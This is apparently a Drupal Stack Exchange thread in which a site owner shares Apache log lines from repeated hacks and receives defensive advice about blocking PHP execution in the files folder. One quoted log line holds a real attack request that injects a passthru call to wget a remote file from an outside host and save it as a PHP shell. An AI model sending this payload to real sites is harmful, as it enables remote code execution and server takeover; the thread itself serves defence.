0

My Drupal 7 sites were hacked many times, and I find everytime some files created by the hackers. Even though I did the security update, that didn't prevent the hackers to access to the server. Recently I saw the Apache log and I found some serious security problems. They try accessing across the login form on /user and some files in the file module folder.

POST /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=wget%20-c%20g.wpblogapi.com/acui/innc.zip%20-O%20tmps.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6

GET /modules/file/tests/lbuzsboe.php HTTP/1.1" 404 - "..../modules/file/tests/lbuzsboe.php

Please provide me your suggestions to resolve this problem. I have no experience on web security.

closed as too broad by Pierre.Vriens, Jaypan, kiamlaluno Apr 28 '18 at 23:10

Please edit the question to limit it to a specific problem with enough detail to identify an adequate answer. Avoid asking multiple distinct questions at once. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.

  • here is a good read on compromised drupal 7 sites drupal.stackexchange.com/questions/133996/… – GiorgosK Apr 28 '18 at 19:32
  • I am not sure which problem you see. The response for those requests is a 404 error, which means they don't have access to pages they should not see. They are even using the wrong URLs. – kiamlaluno Apr 28 '18 at 21:41
  • Also, with the first request, they aren't even trying to log in. I guess they are trying to retrieve the password, but it doesn't work like that, on Drupal. – kiamlaluno Apr 28 '18 at 21:44
  • @kiamlaluno you're right, but it's just two lines from hundreds of lines and many access log files, they attack a number of drupal 7 in the server with same way. – learner123 Apr 28 '18 at 22:00
  • 1
    As long as they don't 'come through' and get the 404's, your site is not vulnerable and you are fine. They just try. If you find you want to block such requests, you'd need to find a scheme behind them and explicitly have to create blocking rules in your webserver. However, that is off-topic in this group. Therefore, I recommend to close this question. – Mario Steinitz Apr 28 '18 at 22:10
1

I had this problem before with some friend about files folder

The solution to this problem is:

1.- in your apache conf or nginx conf or .htaccess disable all formats php in the path /files/*

2.- if you have the opportunity change the permissions to the folder but the first point works, they will upload files php but, they will not run it.

3.- remove estrange files php and search for every file that contains text like base64, search something about this in google or other searcher.

They enter by a port using exploits and add a file like image.php.jpg, and after the file is uploaded, they change the name to image.php (it is not the real name but you get the idea).

That file is an php form, they upload files php through it, like a command line and do a lot of things...

I hope this help you.

  • Thank you, I will follow the steps in your solution and I'll come back to tell you the result, thank you so much – learner123 Apr 28 '18 at 22:02

Not the answer you're looking for? Browse other questions tagged or ask your own question.